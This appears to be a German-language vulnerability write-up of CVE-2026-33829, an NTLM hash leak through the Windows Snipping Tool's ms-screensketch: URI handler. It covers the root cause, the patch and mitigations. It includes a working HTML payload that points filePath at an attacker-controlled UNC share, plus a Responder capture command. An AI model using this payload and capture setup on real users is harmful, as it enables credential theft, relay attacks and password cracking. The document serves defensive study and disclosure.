rahultb-sec/cve-2026-33829-writeupSicherheitslücken-Fallstudie: CVE-2026-33829 (Windows Snipping Tool NTLM Coercion)
Fallstudie zu einer Sicherheitslücke: CVE-2026-33829 (Windows Snipping Tool NTLM-Erzwingung)
Diese Dokumentation beschreibt die technische Nachbildung von CVE-2026-33829, einer Sicherheitslücke mit Informationsoffenlegung innerhalb des modernen Windows Snipping Tool-Anwendungsrahmens. Durch Missbrauch eines nicht validierten Eingabeparameters in einem benutzerdefinierten URI-Protokollhandler kann ein entferntes System einen nicht gepatchten Windows-Computer dazu zwingen, eine ausgehende SMB-Verbindung herzustellen, was zum Verlust von Net-NTLMv2-Authentifizierungshashes über das Netzwerk führt.
URI-Schema – (Windows verwendet benutzerdefinierte Protokolle (wie ms-screensketch:, ms-settings: , file:) um Webbrowsern die Kommunikation mit Desktop-Anwendungen zu ermöglichen.
Die Grundursache dieser Sicherheitslücke liegt im URI-Schema (ms-screensketch:edit). Wenn ein Opfer auf einen schädlichen Link klickt, der (ms-screensketch:edit?&filePath=\\ATTACKER_IP\\share\evil.png) enthält, und die "Öffnen mit Snipping Tool"-Abfrage bestätigt, ruft das Betriebssystem SnippingTool.exe auf und übergibt den schädlichen filePath-Parameter, wie z.B. (ms-screensketch:edit?filePath=\\ATTACKER-IP\\share\evil.png), ohne ordnungsgemäße Validierung.
Da es einen :edit?-Parameter gibt, versucht das Snipping Tool, die Datei aus dem angegebenen Dateipfad (filePath=\\ATTACKER-IP\\share\evil.png) zu bearbeiten. Dies führt dazu, dass eine Verbindung über das Netzwerk unter Verwendung von Server Message Block (SMB) initiiert wird. Da SMB dazu entwickelt wurde, zu überprüfen, wer die Datei anfordert, authentifiziert Windows automatisch den Benutzer. Es sendet den Net-NTLMv2-Challenge-Response-Hash des aktuell angemeldeten Benutzers an den Server des Angreifers. Der gesamte Vorgang läuft still im Hintergrund ab, ohne dass der Benutzer eine sichtbare Warnung oder Aufforderung erhält.
Der Angreifer erfasst die Net-NTLMv2-Challenge-Response-Authentifizierungsdaten des Opfers. Sobald ein Angreifer den Net-NTLM-Hash des Opfers besitzt, kann er einen NTLM-Relay-Angriff durchführen, um sich als das Opfer auszugeben und auf interne Netzwerkressourcen zuzugreifen oder sich bei anderen Unternehmensdiensten zu authentifizieren, oder den erfassten Hash offline nehmen und Brute-Force- oder Wörterbuchangriffe verwenden, um das tatsächliche Klartext-Windows-Passwort des Opfers zu ermitteln.
Um den Handler auszulösen, wurde eine einfache HTML-Nutzlast bereitgestellt, um einen Phishing- oder Intranet-Kompromittierungsvektor zu simulieren
<!DOCTYPE html>
<html>
<body>
<button onclick="window.location.href='ms-screensketch:edit?&filePath=\\ATTACKER-IP\share\test.png&isTemporary=false&saved=true&source=Toast'">Launch Verification</button>
</body>
</html>
Um den Hash zu erfassen, wurde eine isolierte Kali-Linux-Instanz mit Responder bereitgestellt
sudo responder -I eth0 -v
Nach einem Klick auf die Schaltfläche in der Ziel-Windows-Umgebung öffnete die Anwendung den Bearbeitungskontext und leitete sofort eine SMB-Anfrage an den Listener-Host. Die Challenge-Response-Authentifizierungssequenz wurde nahtlos abgeschlossen und die Net-NTLMv2-Hash-Struktur für den Zielbenutzerkontext erfasst.
Das NTLMSSP_NEGOTIATE-Paket zeigt, dass das Opfersystem nach der Auflösung des vom Angreifer kontrollierten UNC-Pfads eine NTLM-Authentifizierung während des SMB-Sitzungsaufbaus initiiert.
Das NTLMSSP_AUTH-Paket enthält die Net-NTLMv2-Challenge-Response-Authentifizierungsdaten, die vom Opfersystem nach Abschluss der Challenge-Phase übertragen wurden.
Daraus erfasst der Angreifer den übergebenen NTLMv2-Hash
Die erfassten Net-NTLMv2-Challenge-Response-Daten können je nach Zielumgebung für NTLM-Relay-Angriffe verwendet oder Offline-Passwort-Cracking-Versuchen unterzogen werden.
Wie hat Microsoft dies gepatcht?
Vor dem Patch nahm die Bearbeitungsfunktion des Snipping Tools die Zeichenfolge innerhalb von filePath und übergab sie direkt an die Dateiöffnungs-APIs.
Das beobachtete Verhalten nach dem Patch deutet darauf hin, dass Microsoft eine Validierungslogik eingeführt hat, die verhindert, dass UNC-/netzwerkbasierte filePath-Werte die zugrunde liegenden Dateiverarbeitungs-APIs erreichen. Jetzt führt die Anwendung eine Plausibilitätsprüfung durch, bevor sie die Zeichenfolge an das Betriebssystem übergibt:
Es wird überprüft, ob die Zeichenfolge mit lokalen Laufwerksbezeichnern (wie C:\ oder D:) oder standardmäßigen sicheren lokalen Systemvariablen beginnt.
Wenn die Anwendung ein Universal Naming Convention (UNC)-Präfix (wie \ oder \\) oder ein externes IP-Netzwerkmuster erkennt, markiert die Validierungsschleife es als ungültiges Argument, wirft einen Ausnahmefehler und beendet den Dateiladevorgang sofort.
Da der Code stoppt, bevor die Win32-Dateiöffnungsanweisungen ausgeführt werden, erhält der Windows-Kernel nie die Anfrage und es wird nie ein SMB-Paket gesendet.
Wenn wir es nach der Installation des Sicherheitsupdates erneut versuchen, wird die Anwendung weiterhin den ms-screensketch: Handler aufrufen, aber entfernte filePath-Werte werden nicht mehr über den Bearbeitungsworkflow aufgelöst.
Stellen Sie sicher, dass alle Windows-Endpunkte über den Sicherheitspatch-Baseline vom 14. April 2026 aktualisiert sind, der strenge Eingabevalidierungsgrenzen für den Anwendungshandler einführt.
Erzwingen Sie strenge Firewall-Regeln für ausgehenden Datenverkehr, die ausgehenden TCP-Port-445-Datenverkehr zu nicht autorisierten externen Netzwerken blockieren, um das Risiko von Anmeldeinformationsverlusten zu verringern.
Konfigurieren Sie Gruppenrichtlinienobjekte (GPOs), um ausgehenden NTLM-Datenverkehr zu entfernten Servern einzuschränken und wo anwendbar sichere alternative Protokolle wie Kerberos zu erzwingen.
Haftungsausschluss: Diese Dokumentation wurde ausschließlich zu Bildungs-, Verteidigungsforschungs- und Laborvalidierungszwecken erstellt. Alle Tests wurden in einer vollständig isolierten Sandbox-Umgebung durchgeführt.